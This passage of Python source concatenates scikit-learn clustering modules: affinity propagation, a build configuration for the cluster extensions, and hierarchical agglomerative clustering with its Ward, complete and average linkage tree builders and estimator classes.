    A = np.zeros((n_samples, n_samples))
    R = np.zeros((n_samples, n_samples))  # Initialize messages
    # Intermediate results
    tmp = np.zeros((n_samples, n_samples))

    # Remove degeneracies
    S += ((np.finfo(np.double).eps * S + np.finfo(np.double).tiny * 100) *
          random_state.randn(n_samples, n_samples))

    # Execute parallel affinity propagation updates
    e = np.zeros((n_samples, convergence_iter))

    ind = np.arange(n_samples)

    for it in range(max_iter):
        # tmp = A + S; compute responsibilities
        np.add(A, S, tmp)
        I = np.argmax(tmp, axis=1)
        Y = tmp[ind, I]  # np.max(A + S, axis=1)
        tmp[ind, I] = -np.inf
        Y2 = np.max(tmp, axis=1)

        # tmp = Rnew
        np.subtract(S, Y[:, None], tmp)
        tmp[ind, I] = S[ind, I] - Y2

        # Damping
        tmp *= 1 - damping
        R *= damping
        R += tmp

        # tmp = Rp; compute availabilities
        np.maximum(R, 0, tmp)
        tmp.flat[::n_samples + 1] = R.flat[::n_samples + 1]

        # tmp = -Anew
        tmp -= np.sum(tmp, axis=0)
        dA = np.diag(tmp).copy()
        tmp.clip(0, np.inf, tmp)
        tmp.flat[::n_samples + 1] = dA

        # Damping
        tmp *= 1 - damping
        A *= damping
        A -= tmp

        # Check for convergence
        E = (np.diag(A) + np.diag(R)) > 0
        e[:, it % convergence_iter] = E
        K = np.sum(E, axis=0)

        if it >= convergence_iter:
            se = np.sum(e, axis=1)
            unconverged = (np.sum((se == convergence_iter) + (se == 0))
                           != n_samples)
            if (not unconverged and (K > 0)) or (it == max_iter):
                if verbose:
                    print("Converged after %d iterations." % it)
                break
    else:
        if verbose:
            print("Did not converge")

    I = np.where(np.diag(A + R) > 0)[0]
    K = I.size  # Identify exemplars

    if K > 0:
        c = np.argmax(S[:, I], axis=1)
        c[I] = np.arange(K)  # Identify clusters
        # Refine the final set of exemplars and clusters and return results
        for k in range(K):
            ii = np.where(c == k)[0]
            j = np.argmax(np.sum(S[ii[:, np.newaxis], ii], axis=0))
            I[k] = ii[j]

        c = np.argmax(S[:, I], axis=1)
        c[I] = np.arange(K)
        labels = I[c]
        # Reduce labels to a sorted, gapless, list
        cluster_centers_indices = np.unique(labels)
        labels = np.searchsorted(cluster_centers_indices, labels)
    else:
        labels = np.empty((n_samples, 1))
        cluster_centers_indices = None
        labels.fill(np.nan)

    if return_n_iter:
        return cluster_centers_indices, labels, it + 1
    else:
        return cluster_centers_indices, labels


###############################################################################

class AffinityPropagation(BaseEstimator, ClusterMixin):
    """Perform Affinity Propagation Clustering of data.

    Read more in the :ref:`User Guide <affinity_propagation>`.

    Parameters
    ----------
    damping : float, optional, default: 0.5
        Damping factor between 0.5 and 1.

    convergence_iter : int, optional, default: 15
        Number of iterations with no change in the number
        of estimated clusters that stops the convergence.

    max_iter : int, optional, default: 200
        Maximum number of iterations.

    copy : boolean, optional, default: True
        Make a copy of input data.

    preference : array-like, shape (n_samples,) or float, optional
        Preferences for each point - points with larger values of
        preferences are more likely to be chosen as exemplars. The number
        of exemplars, ie of clusters, is influenced by the input
        preferences value. If the preferences are not passed as arguments,
        they will be set to the median of the input similarities.

    affinity : string, optional, default=``euclidean``
        Which affinity to use. At the moment ``precomputed`` and
        ``euclidean`` are supported. ``euclidean`` uses the
        negative squared euclidean distance between points.

    verbose : boolean, optional, default: False
        Whether to be verbose.


    Attributes
    ----------
    cluster_centers_indices_ : array, shape (n_clusters,)
        Indices of cluster centers

    cluster_centers_ : array, shape (n_clusters, n_features)
        Cluster centers (if affinity != ``precomputed``).

    labels_ : array, shape (n_samples,)
        Labels of each point

    affinity_matrix_ : array, shape (n_samples, n_samples)
        Stores the affinity matrix used in ``fit``.

    n_iter_ : int
        Number of iterations taken to converge.

    Notes
    -----
    See examples/cluster/plot_affinity_propagation.py for an example.

    The algorithmic complexity of affinity propagation is quadratic
    in the number of points.

    References
    ----------

    Brendan J. Frey and Delbert Dueck, "Clustering by Passing Messages
    Between Data Points", Science Feb. 2007
    """

    def __init__(self, damping=.5, max_iter=200, convergence_iter=15,
                 copy=True, preference=None, affinity='euclidean',
                 verbose=False):

        self.damping = damping
        self.max_iter = max_iter
        self.convergence_iter = convergence_iter
        self.copy = copy
        self.verbose = verbose
        self.preference = preference
        self.affinity = affinity

    @property
    def _pairwise(self):
        return self.affinity == "precomputed"

    def fit(self, X, y=None):
        """ Create affinity matrix from negative euclidean distances, then
        apply affinity propagation clustering.

        Parameters
        ----------

        X: array-like, shape (n_samples, n_features) or (n_samples, n_samples)
            Data matrix or, if affinity is ``precomputed``, matrix of
            similarities / affinities.
        """
        X = check_array(X, accept_sparse='csr')
        if self.affinity == "precomputed":
            self.affinity_matrix_ = X
        elif self.affinity == "euclidean":
            self.affinity_matrix_ = -euclidean_distances(X, squared=True)
        else:
            raise ValueError("Affinity must be 'precomputed' or "
                             "'euclidean'. Got %s instead"
                             % str(self.affinity))

        self.cluster_centers_indices_, self.labels_, self.n_iter_ = \
            affinity_propagation(
                self.affinity_matrix_, self.preference, max_iter=self.max_iter,
                convergence_iter=self.convergence_iter, damping=self.damping,
                copy=self.copy, verbose=self.verbose, return_n_iter=True)

        if self.affinity != "precomputed":
            self.cluster_centers_ = X[self.cluster_centers_indices_].copy()

        return self

    def predict(self, X):
        """Predict the closest cluster each sample in X belongs to.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape (n_samples, n_features)
            New data to predict.

        Returns
        -------
        labels : array, shape (n_samples,)
            Index of the cluster each sample belongs to.
        """
        check_is_fitted(self, "cluster_centers_indices_")
        if not hasattr(self, "cluster_centers_"):
            raise ValueError("Predict method is not supported when "
                             "affinity='precomputed'.")

        return pairwise_distances_argmin(X, self.cluster_centers_)






# Author: Alexandre Gramfort <alexandre.gramfort@inria.fr>
# License: BSD 3 clause
import os
from os.path import join

import numpy

from sklearn._build_utils import get_blas_info


def configuration(parent_package='', top_path=None):
    from numpy.distutils.misc_util import Configuration

    cblas_libs, blas_info = get_blas_info()

    libraries = []
    if os.name == 'posix':
        cblas_libs.append('m')
        libraries.append('m')

    config = Configuration('cluster', parent_package, top_path)
    config.add_extension('_dbscan_inner',
                         sources=['_dbscan_inner.cpp'],
                         include_dirs=[numpy.get_include()],
                         language="c++")

    config.add_extension('_hierarchical',
                         sources=['_hierarchical.cpp'],
                         language="c++",
                         include_dirs=[numpy.get_include()],
                         libraries=libraries)
    config.add_extension('_k_means_elkan',
                         sources=['_k_means_elkan.c'],
                         include_dirs=[numpy.get_include()],
                         libraries=libraries)

    config.add_extension(
        '_k_means',
        libraries=cblas_libs,
        sources=['_k_means.c'],
        include_dirs=[join('..', 'src', 'cblas'),
                      numpy.get_include(),
                      blas_info.pop('include_dirs', [])],
        extra_compile_args=blas_info.pop('extra_compile_args', []),
        **blas_info
    )

    config.add_subpackage('tests')

    return config

if __name__ == '__main__':
    from numpy.distutils.core import setup
    setup(**configuration(top_path='').todict())






"""Hierarchical Agglomerative Clustering

These routines perform some hierarchical agglomerative clustering of some
input data.

Authors : Vincent Michel, Bertrand Thirion, Alexandre Gramfort,
          Gael Varoquaux
License: BSD 3 clause
"""
from heapq import heapify, heappop, heappush, heappushpop
import warnings

import numpy as np
from scipy import sparse

from ..base import BaseEstimator, ClusterMixin
from ..externals.joblib import Memory
from ..externals import six
from ..metrics.pairwise import paired_distances, pairwise_distances
from ..utils import check_array
from ..utils.sparsetools import connected_components

from . import _hierarchical
from ._feature_agglomeration import AgglomerationTransform
from ..utils.fast_dict import IntFloatDict

from ..externals.six.moves import xrange

###############################################################################
# For non fully-connected graphs


def _fix_connectivity(X, connectivity, n_components=None,
                      affinity="euclidean"):
    """
    Fixes the connectivity matrix

        - copies it
        - makes it symmetric
        - converts it to LIL if necessary
        - completes it if necessary
    """
    n_samples = X.shape[0]
    if (connectivity.shape[0] != n_samples or
            connectivity.shape[1] != n_samples):
        raise ValueError('Wrong shape for connectivity matrix: %s '
                         'when X is %s' % (connectivity.shape, X.shape))

    # Make the connectivity matrix symmetric:
    connectivity = connectivity + connectivity.T

    # Convert connectivity matrix to LIL
    if not sparse.isspmatrix_lil(connectivity):
        if not sparse.isspmatrix(connectivity):
            connectivity = sparse.lil_matrix(connectivity)
        else:
            connectivity = connectivity.tolil()

    # Compute the number of nodes
    n_components, labels = connected_components(connectivity)

    if n_components > 1:
        warnings.warn("the number of connected components of the "
                      "connectivity matrix is %d > 1. Completing it to avoid "
                      "stopping the tree early." % n_components,
                      stacklevel=2)
        # XXX: Can we do without completing the matrix?
        for i in xrange(n_components):
            idx_i = np.where(labels == i)[0]
            Xi = X[idx_i]
            for j in xrange(i):
                idx_j = np.where(labels == j)[0]
                Xj = X[idx_j]
                D = pairwise_distances(Xi, Xj, metric=affinity)
                ii, jj = np.where(D == np.min(D))
                ii = ii[0]
                jj = jj[0]
                connectivity[idx_i[ii], idx_j[jj]] = True
                connectivity[idx_j[jj], idx_i[ii]] = True

    return connectivity, n_components


###############################################################################
# Hierarchical tree building functions

def ward_tree(X, connectivity=None, n_clusters=None, return_distance=False):
    """Ward clustering based on a Feature matrix.

    Recursively merges the pair of clusters that minimally increases
    within-cluster variance.

    The inertia matrix uses a Heapq-based representation.

    This is the structured version, that takes into account some topological
    structure between samples.

    Read more in the :ref:`User Guide <hierarchical_clustering>`.

    Parameters
    ----------
    X : array, shape (n_samples, n_features)
        feature matrix  representing n_samples samples to be clustered

    connectivity : sparse matrix (optional).
        connectivity matrix. Defines for each sample the neighboring samples
        following a given structure of the data. The matrix is assumed to
        be symmetric and only the upper triangular half is used.
        Default is None, i.e, the Ward algorithm is unstructured.

    n_clusters : int (optional)
        Stop early the construction of the tree at n_clusters. This is
        useful to decrease computation time if the number of clusters is
        not small compared to the number of samples. In this case, the
        complete tree is not computed, thus the 'children' output is of
        limited use, and the 'parents' output should rather be used.
        This option is valid only when specifying a connectivity matrix.

    return_distance: bool (optional)
        If True, return the distance between the clusters.

    Returns
    -------
    children : 2D array, shape (n_nodes-1, 2)
        The children of each non-leaf node. Values less than `n_samples`
        correspond to leaves of the tree which are the original samples.
        A node `i` greater than or equal to `n_samples` is a non-leaf
        node and has children `children_[i - n_samples]`. Alternatively
        at the i-th iteration, children[i][0] and children[i][1]
        are merged to form node `n_samples + i`

    n_components : int
        The number of connected components in the graph.

    n_leaves : int
        The number of leaves in the tree

    parents : 1D array, shape (n_nodes, ) or None
        The parent of each node. Only returned when a connectivity matrix
        is specified, elsewhere 'None' is returned.

    distances : 1D array, shape (n_nodes-1, )
        Only returned if return_distance is set to True (for compatibility).
        The distances between the centers of the nodes. `distances[i]`
        corresponds to a weighted euclidean distance between
        the nodes `children[i, 1]` and `children[i, 2]`. If the nodes refer to
        leaves of the tree, then `distances[i]` is their unweighted euclidean
        distance. Distances are updated in the following way
        (from scipy.hierarchy.linkage):

        The new entry :math:`d(u,v)` is computed as follows,

        .. math::

           d(u,v) = \\sqrt{\\frac{|v|+|s|}
                               {T}d(v,s)^2
                        + \\frac{|v|+|t|}
                               {T}d(v,t)^2
                        - \\frac{|v|}
                               {T}d(s,t)^2}

        where :math:`u` is the newly joined cluster consisting of
        clusters :math:`s` and :math:`t`, :math:`v` is an unused
        cluster in the forest, :math:`T=|v|+|s|+|t|`, and
        :math:`|*|` is the cardinality of its argument. This is also
        known as the incremental algorithm.
    """
    X = np.asarray(X)
    if X.ndim == 1:
        X = np.reshape(X, (-1, 1))
    n_samples, n_features = X.shape

    if connectivity is None:
        from scipy.cluster import hierarchy     # imports PIL

        if n_clusters is not None:
            warnings.warn('Partial build of the tree is implemented '
                          'only for structured clustering (i.e. with '
                          'explicit connectivity). The algorithm '
                          'will build the full tree and only '
                          'retain the lower branches required '
                          'for the specified number of clusters',
                          stacklevel=2)
        out = hierarchy.ward(X)
        children_ = out[:, :2].astype(np.intp)

        if return_distance:
            distances = out[:, 2]
            return children_, 1, n_samples, None, distances
        else:
            return children_, 1, n_samples, None

    connectivity, n_components = _fix_connectivity(X, connectivity)
    if n_clusters is None:
        n_nodes = 2 * n_samples - 1
    else:
        if n_clusters > n_samples:
            raise ValueError('Cannot provide more clusters than samples. '
                             '%i n_clusters was asked, and there are %i samples.'
                             % (n_clusters, n_samples))
        n_nodes = 2 * n_samples - n_clusters

    # create inertia matrix
    coord_row = []
    coord_col = []
    A = []
    for ind, row in enumerate(connectivity.rows):
        A.append(row)
        # We keep only the upper triangular for the moments
        # Generator expressions are faster than arrays on the following
        row = [i for i in row if i < ind]
        coord_row.extend(len(row) * [ind, ])
        coord_col.extend(row)

    coord_row = np.array(coord_row, dtype=np.intp, order='C')
    coord_col = np.array(coord_col, dtype=np.intp, order='C')

    # build moments as a list
    moments_1 = np.zeros(n_nodes, order='C')
    moments_1[:n_samples] = 1
    moments_2 = np.zeros((n_nodes, n_features), order='C')
    moments_2[:n_samples] = X
    inertia = np.empty(len(coord_row), dtype=np.float64, order='C')
    _hierarchical.compute_ward_dist(moments_1, moments_2, coord_row, coord_col,
                                    inertia)
    inertia = list(six.moves.zip(inertia, coord_row, coord_col))
    heapify(inertia)

    # prepare the main fields
    parent = np.arange(n_nodes, dtype=np.intp)
    used_node = np.ones(n_nodes, dtype=bool)
    children = []
    if return_distance:
        distances = np.empty(n_nodes - n_samples)

    not_visited = np.empty(n_nodes, dtype=np.int8, order='C')

    # recursive merge loop
    for k in range(n_samples, n_nodes):
        # identify the merge
        while True:
            inert, i, j = heappop(inertia)
            if used_node[i] and used_node[j]:
                break
        parent[i], parent[j] = k, k
        children.append((i, j))
        used_node[i] = used_node[j] = False
        if return_distance:  # store inertia value
            distances[k - n_samples] = inert

        # update the moments
        moments_1[k] = moments_1[i] + moments_1[j]
        moments_2[k] = moments_2[i] + moments_2[j]

        # update the structure matrix A and the inertia matrix
        coord_col = []
        not_visited.fill(1)
        not_visited[k] = 0
        _hierarchical._get_parents(A[i], coord_col, parent, not_visited)
        _hierarchical._get_parents(A[j], coord_col, parent, not_visited)
        # List comprehension is faster than a for loop
        [A[l].append(k) for l in coord_col]
        A.append(coord_col)
        coord_col = np.array(coord_col, dtype=np.intp, order='C')
        coord_row = np.empty(coord_col.shape, dtype=np.intp, order='C')
        coord_row.fill(k)
        n_additions = len(coord_row)
        ini = np.empty(n_additions, dtype=np.float64, order='C')

        _hierarchical.compute_ward_dist(moments_1, moments_2,
                                        coord_row, coord_col, ini)

        # List comprehension is faster than a for loop
        [heappush(inertia, (ini[idx], k, coord_col[idx]))
            for idx in range(n_additions)]

    # Separate leaves in children (empty lists up to now)
    n_leaves = n_samples
    # sort children to get consistent output with unstructured version
    children = [c[::-1] for c in children]
    children = np.array(children)  # return numpy array for efficient caching

    if return_distance:
        # 2 is scaling factor to compare w/ unstructured version
        distances = np.sqrt(2. * distances)
        return children, n_components, n_leaves, parent, distances
    else:
        return children, n_components, n_leaves, parent


# average and complete linkage
def linkage_tree(X, connectivity=None, n_components=None,
                 n_clusters=None, linkage='complete', affinity="euclidean",
                 return_distance=False):
    """Linkage agglomerative clustering based on a Feature matrix.

    The inertia matrix uses a Heapq-based representation.

    This is the structured version, that takes into account some topological
    structure between samples.

    Read more in the :ref:`User Guide <hierarchical_clustering>`.

    Parameters
    ----------
    X : array, shape (n_samples, n_features)
        feature matrix representing n_samples samples to be clustered

    connectivity : sparse matrix (optional).
        connectivity matrix. Defines for each sample the neighboring samples
        following a given structure of the data. The matrix is assumed to
        be symmetric and only the upper triangular half is used.
        Default is None, i.e, the Ward algorithm is unstructured.

    n_clusters : int (optional)
        Stop early the construction of the tree at n_clusters. This is
        useful to decrease computation time if the number of clusters is
        not small compared to the number of samples. In this case, the
        complete tree is not computed, thus the 'children' output is of
        limited use, and the 'parents' output should rather be used.
        This option is valid only when specifying a connectivity matrix.

    linkage : {"average", "complete"}, optional, default: "complete"
        Which linkage criteria to use. The linkage criterion determines which
        distance to use between sets of observation.
            - average uses the average of the distances of each observation of
              the two sets
            - complete or maximum linkage uses the maximum distances between
              all observations of the two sets.

    affinity : string or callable, optional, default: "euclidean".
        which metric to use. Can be "euclidean", "manhattan", or any
        distance know to paired distance (see metric.pairwise)

    return_distance : bool, default False
        whether or not to return the distances between the clusters.

    Returns
    -------
    children : 2D array, shape (n_nodes-1, 2)
        The children of each non-leaf node. Values less than `n_samples`
        correspond to leaves of the tree which are the original samples.
        A node `i` greater than or equal to `n_samples` is a non-leaf
        node and has children `children_[i - n_samples]`. Alternatively
        at the i-th iteration, children[i][0] and children[i][1]
        are merged to form node `n_samples + i`

    n_components : int
        The number of connected components in the graph.

    n_leaves : int
        The number of leaves in the tree.

    parents : 1D array, shape (n_nodes, ) or None
        The parent of each node. Only returned when a connectivity matrix
        is specified, elsewhere 'None' is returned.

    distances : ndarray, shape (n_nodes-1,)
        Returned when return_distance is set to True.

        distances[i] refers to the distance between children[i][0] and
        children[i][1] when they are merged.

    See also
    --------
    ward_tree : hierarchical clustering with ward linkage
    """
    X = np.asarray(X)
    if X.ndim == 1:
        X = np.reshape(X, (-1, 1))
    n_samples, n_features = X.shape

    linkage_choices = {'complete': _hierarchical.max_merge,
                       'average': _hierarchical.average_merge}
    try:
        join_func = linkage_choices[linkage]
    except KeyError:
        raise ValueError(
            'Unknown linkage option, linkage should be one '
            'of %s, but %s was given' % (linkage_choices.keys(), linkage))

    if connectivity is None:
        from scipy.cluster import hierarchy     # imports PIL

        if n_clusters is not None:
            warnings.warn('Partial build of the tree is implemented '
                          'only for structured clustering (i.e. with '
                          'explicit connectivity). The algorithm '
                          'will build the full tree and only '
                          'retain the lower branches required '
                          'for the specified number of clusters',
                          stacklevel=2)

        if affinity == 'precomputed':
            # for the linkage function of hierarchy to work on precomputed
            # data, provide as first argument an ndarray of the shape returned
            # by pdist: it is a flat array containing the upper triangular of
            # the distance matrix.
            i, j = np.triu_indices(X.shape[0], k=1)
            X = X[i, j]
        elif affinity == 'l2':
            # Translate to something understood by scipy
            affinity = 'euclidean'
        elif affinity in ('l1', 'manhattan'):
            affinity = 'cityblock'
        elif callable(affinity):
            X = affinity(X)
            i, j = np.triu_indices(X.shape[0], k=1)
            X = X[i, j]
        out = hierarchy.linkage(X, method=linkage, metric=affinity)
        children_ = out[:, :2].astype(np.int)

        if return_distance:
            distances = out[:, 2]
            return children_, 1, n_samples, None, distances
        return children_, 1, n_samples, None

    connectivity, n_components = _fix_connectivity(X, connectivity)

    connectivity = connectivity.tocoo()
    # Put the diagonal to zero
    diag_mask = (connectivity.row != connectivity.col)
    connectivity.row = connectivity.row[diag_mask]
    connectivity.col = connectivity.col[diag_mask]
    connectivity.data = connectivity.data[diag_mask]
    del diag_mask

    if affinity == 'precomputed':
        distances = X[connectivity.row, connectivity.col]
    else:
        # FIXME We compute all the distances, while we could have only computed
        # the "interesting" distances
        distances = paired_distances(X[connectivity.row],
                                     X[connectivity.col],
                                     metric=affinity)
    connectivity.data = distances

    if n_clusters is None:
        n_nodes = 2 * n_samples - 1
    else:
        assert n_clusters <= n_samples
        n_nodes = 2 * n_samples - n_clusters

    if return_distance:
        distances = np.empty(n_nodes - n_samples)
    # create inertia heap and connection matrix
    A = np.empty(n_nodes, dtype=object)
    inertia = list()

    # LIL seems to the best format to access the rows quickly,
    # without the numpy overhead of slicing CSR indices and data.
    connectivity = connectivity.tolil()
    # We are storing the graph in a list of IntFloatDict
    for ind, (data, row) in enumerate(zip(connectivity.data,
                                          connectivity.rows)):
        A[ind] = IntFloatDict(np.asarray(row, dtype=np.intp),
                              np.asarray(data, dtype=np.float64))
        # We keep only the upper triangular for the heap
        # Generator expressions are faster than arrays on the following
        inertia.extend(_hierarchical.WeightedEdge(d, ind, r)
                       for r, d in zip(row, data) if r < ind)
    del connectivity

    heapify(inertia)

    # prepare the main fields
    parent = np.arange(n_nodes, dtype=np.intp)
    used_node = np.ones(n_nodes, dtype=np.intp)
    children = []

    # recursive merge loop
    for k in xrange(n_samples, n_nodes):
        # identify the merge
        while True:
            edge = heappop(inertia)
            if used_node[edge.a] and used_node[edge.b]:
                break
        i = edge.a
        j = edge.b

        if return_distance:
            # store distances
            distances[k - n_samples] = edge.weight

        parent[i] = parent[j] = k
        children.append((i, j))
        # Keep track of the number of elements per cluster
        n_i = used_node[i]
        n_j = used_node[j]
        used_node[k] = n_i + n_j
        used_node[i] = used_node[j] = False

        # update the structure matrix A and the inertia matrix
        # a clever 'min', or 'max' operation between A[i] and A[j]
        coord_col = join_func(A[i], A[j], used_node, n_i, n_j)
        for l, d in coord_col:
            A[l].append(k, d)
            # Here we use the information from coord_col (containing the
            # distances) to update the heap
            heappush(inertia, _hierarchical.WeightedEdge(d, k, l))
        A[k] = coord_col
        # Clear A[i] and A[j] to save memory
        A[i] = A[j] = 0

    # Separate leaves in children (empty lists up to now)
    n_leaves = n_samples

    # # return numpy array for efficient caching
    children = np.array(children)[:, ::-1]

    if return_distance:
        return children, n_components, n_leaves, parent, distances
    return children, n_components, n_leaves, parent


# Matching names to tree-building strategies
def _complete_linkage(*args, **kwargs):
    kwargs['linkage'] = 'complete'
    return linkage_tree(*args, **kwargs)


def _average_linkage(*args, **kwargs):
    kwargs['linkage'] = 'average'
    return linkage_tree(*args, **kwargs)


_TREE_BUILDERS = dict(
    ward=ward_tree,
    complete=_complete_linkage,
    average=_average_linkage)


###############################################################################
# Functions for cutting  hierarchical clustering tree

def _hc_cut(n_clusters, children, n_leaves):
    """Function cutting the ward tree for a given number of clusters.

    Parameters
    ----------
    n_clusters : int or ndarray
        The number of clusters to form.

    children : 2D array, shape (n_nodes-1, 2)
        The children of each non-leaf node. Values less than `n_samples`
        correspond to leaves of the tree which are the original samples.
        A node `i` greater than or equal to `n_samples` is a non-leaf
        node and has children `children_[i - n_samples]`. Alternatively
        at the i-th iteration, children[i][0] and children[i][1]
        are merged to form node `n_samples + i`

    n_leaves : int
        Number of leaves of the tree.

    Returns
    -------
    labels : array [n_samples]
        cluster labels for each point

    """
    if n_clusters > n_leaves:
        raise ValueError('Cannot extract more clusters than samples: '
                         '%s clusters where given for a tree with %s leaves.'
                         % (n_clusters, n_leaves))
    # In this function, we store nodes as a heap to avoid recomputing
    # the max of the nodes: the first element is always the smallest
    # We use negated indices as heaps work on smallest elements, and we
    # are interested in largest elements
    # children[-1] is the root of the tree
    nodes = [-(max(children[-1]) + 1)]
    for i in xrange(n_clusters - 1):
        # As we have a heap, nodes[0] is the smallest element
        these_children = children[-nodes[0] - n_leaves]
        # Insert the 2 children and remove the largest node
        heappush(nodes, -these_children[0])
        heappushpop(nodes, -these_children[1])
    label = np.zeros(n_leaves, dtype=np.intp)
    for i, node in enumerate(nodes):
        label[_hierarchical._hc_get_descendent(-node, children, n_leaves)] = i
    return label


###############################################################################

class AgglomerativeClustering(BaseEstimator, ClusterMixin):
    """
    Agglomerative Clustering

    Recursively merges the pair of clusters that minimally increases
    a given linkage distance.

    Read more in the :ref:`User Guide <hierarchical_clustering>`.

    Parameters
    ----------
    n_clusters : int, default=2
        The number of clusters to find.

    connectivity : array-like or callable, optional
        Connectivity matrix. Defines for each sample the neighboring
        samples following a given structure of the data.
        This can be a connectivity matrix itself or a callable that transforms
        the data into a connectivity matrix, such as derived from
        kneighbors_graph. Default is None, i.e, the
        hierarchical clustering algorithm is unstructured.

    affinity : string or callable, default: "euclidean"
        Metric used to compute the linkage. Can be "euclidean", "l1", "l2",
        "manhattan", "cosine", or 'precomputed'.
        If linkage is "ward", only "euclidean" is accepted.

    memory : Instance of joblib.Memory or string (optional)
        Used to cache the output of the computation of the tree.
        By default, no caching is done. If a string is given, it is the
        path to the caching directory.

    compute_full_tree : bool or 'auto' (optional)
        Stop early the construction of the tree at n_clusters. This is
        useful to decrease computation time if the number of clusters is
        not small compared to the number of samples. This option is
        useful only when specifying a connectivity matrix. Note also that
        when varying the number of clusters and using caching, it may
        be advantageous to compute the full tree.

    linkage : {"ward", "complete", "average"}, optional, default: "ward"
        Which linkage criterion to use. The linkage criterion determines which
        distance to use between sets of observation. The algorithm will merge
        the pairs of cluster that minimize this criterion.

        - ward minimizes the variance of the clusters being merged.
        - average uses the average of the distances of each observation of
          the two sets.
        - complete or maximum linkage uses the maximum distances between
          all observations of the two sets.

    pooling_func : callable, default=np.mean
        This combines the values of agglomerated features into a single
        value, and should accept an array of shape [M, N] and the keyword
        argument ``axis=1``, and reduce it to an array of size [M].

    Attributes
    ----------
    labels_ : array [n_samples]
        cluster labels for each point

    n_leaves_ : int
        Number of leaves in the hierarchical tree.

    n_components_ : int
        The estimated number of connected components in the graph.

    children_ : array-like, shape (n_nodes-1, 2)
        The children of each non-leaf node. Values less than `n_samples`
        correspond to leaves of the tree which are the original samples.
        A node `i` greater than or equal to `n_samples` is a non-leaf
        node and has children `children_[i - n_samples]`. Alternatively
        at the i-th iteration, children[i][0] and children[i][1]
        are merged to form node `n_samples + i`

    """

    def __init__(self, n_clusters=2, affinity="euclidean",
                 memory=Memory(cachedir=None, verbose=0),
                 connectivity=None, compute_full_tree='auto',
                 linkage='ward', pooling_func=np.mean):
        self.n_clusters = n_clusters
        self.memory = memory
        self.connectivity = connectivity
        self.compute_full_tree = compute_full_tree
        self.linkage = linkage
        self.affinity = affinity
        self.pooling_func = pooling_func

    def fit(self, X, y=None):
        """Fit the hierarchical clustering on the data

        Parameters
        ----------
        X : array-like, shape = [n_samples, n_features]
            The samples a.k.a. observations.

        Returns
        -------
        self
        """
        X = check_array(X, ensure_min_samples=2, estimator=self)
        memory = self.memory
        if isinstance(memory, six.string_types):
            memory = Memory(cachedir=memory, verbose=0)

        if self.n_clusters <= 0:
            raise ValueError("n_clusters should be an integer greater than 0."
                             " %s was provided." % str(self.n_clusters))

        if self.linkage == "ward" and self.affinity != "euclidean":
            raise ValueError("%s was provided as affinity. Ward can only "
                             "work with euclidean distances." %
                             (self.affinity, ))

        if self.linkage not in _TREE_BUILDERS:
            raise ValueError("Unknown linkage type %s."
                             "Valid options are %s" % (self.linkage,
                                                       _TREE_BUILDERS.keys()))
        tree_builder = _TREE_BUILDERS[self.linkage]

        connectivity = self.connectivity
        if self.connectivity is not None:
            if callable(self.connectivity):
                connectivity = self.connectivity(X)
            connectivity = check_array(
                connectivity, accept_sparse=['csr', 'coo', 'lil'])

        n_samples = len(X)
        compute_full_tree = self.compute_full_tree
        if self.connectivity is None:
            compute_full_tree = True
        if compute_full_tree == 'auto':
            # Early stopping is likely to give a speed up only for
            # a large number of clusters. The actual threshold
            # implemented here is heuristic
            compute_full_tree = self.n_clusters < max(100, .02 * n_samples)
        n_clusters = self.n_clusters
        if compute_full_tree:
            n_clusters = None

        # Construct the tree
        kwargs = {}
        if self.linkage != 'ward':
            kwargs['linkage'] = self.linkage
            kwargs['affinity'] = self.affinity
        self.children_, self.n_components_, self.n_leaves_, parents = \
            memory.cache(tree_builder)(X, connectivity,
                                       n_clusters=n_clusters,
                                       **kwargs)
        # Cut the tree
        if compute_full_tree:
            self.labels_ = _hc_cut(self.n_clusters, self.children_,
                                   self.n_leaves_)
        else:
            labels = _hierarchical.hc_get_heads(parents, copy=False)
            # copy to avoid holding a reference on the original array
            labels = np.copy(labels[:n_samples])
            # Reassign cluster numbers
            self.labels_ = np.searchsorted(np.unique(labels), labels)
        return self


class FeatureAgglomeration(AgglomerativeClustering, AgglomerationTransform):
    """Agglomerate features.

    Similar to AgglomerativeClustering, but recursively merges features
    instead of samples.

    Read more in the :ref:`User Guide <hierarchical_clustering>`.

    Parameters
    ----------
    n_clusters : int, default 2
        The number of clusters to find.

    connectivity : array-like or callable, optional
        Connectivity matrix. Defines for each feature the neighboring
        features following a given structure of the data.
        This can be a connectivity matrix itself or a callable that transforms
        the data into a connectivity matrix, such as derived from
        kneighbors_graph. Default is None, i.e, the
        hierarchical clustering algorithm is unstructured.

    affinity : string or callable, default "euclidean"
        Metric used to compute the linkage. Can be "euclidean", "l1", "l2",
        "manhattan", "cosine", or 'precomputed'.
        If linkage is "ward", only "euclidean" is accepted.

    memory : Instance of joblib.Memory or string, optional
        Used to cache the output of the computation of the tree.
        By default, no caching is done. If a string is given, it is the
        path to the caching directory.

    compute_full_tree : bool or 'auto', optional, default "auto"
        Stop early the construction of the tree at n_clusters. This is
        useful to decrease computation time if the number of clusters is
        not small compared to the number of features. This option is
        useful only when specifying a connectivity matrix. Note also that
        when varying the number of clusters and using caching, it may
        be advantageous to compute the full tree.

    linkage : {"ward", "complete", "average"}, optional, default "ward"
        Which linkage criterion to use. The linkage criterion determines which
        distance to use between sets of features. The algorithm will merge
        the pairs of cluster that minimize this criterion.

        - ward minimizes the variance of the clusters being merged.
        - average uses the average of the distances of each feature of
          the two sets.
        - complete or maximum linkage uses the maximum distances between
          all features of the two sets.

    pooling_func : callable, default np.mean
        This combines the values of agglomerated features into a single
        value, and should accept an array of shape [M, N] and the keyword
        argument `axis=1`, and reduce it to an array of size [M].

    Attributes
    ----------
    labels_ : array-like, (n_features,)
        cluster labels for each feature.

    n_leaves_ : int
        Number of leaves in the hierarchical tree.

    n_components_ : int
        The estimated number of connected components in the graph.

    children_ : array-like, shape (n_nodes-1, 2)
        The children of each non-leaf node. Values less than `n_features`
        correspond to leaves of the tree which are the original samples.
        A node `i` greater than or equal to `n_features` is a non-leaf
        node and has children `children_[i - n_features]`. Alternatively
        at the i-th iteration, children[i][0] and children[i][1]
        are merged to form node `n_features + i`
    """

    def fit(self, X, y=None, **params):
        """Fit the hierarchical clustering on the data

        Parameters
        ----------
        X : array-like, shape = [n_samples, n_features]
            The data

        Returns
        -------
        self
        """
        X = check_array(X, accept_sparse=['csr', 'csc', 'coo'],
                        ensure_min_features=2, estimator=self)
        return AgglomerativeClustering.fit(self, X.T, **params)

    @property
    def fit_predict(self):
        raise AttributeError






"""
Feature agglomeration. Base classes and functions for performing feature
agglomeration.
"""
# Author: V. Michel, A. Gramfort
# License: BSD 3 clause

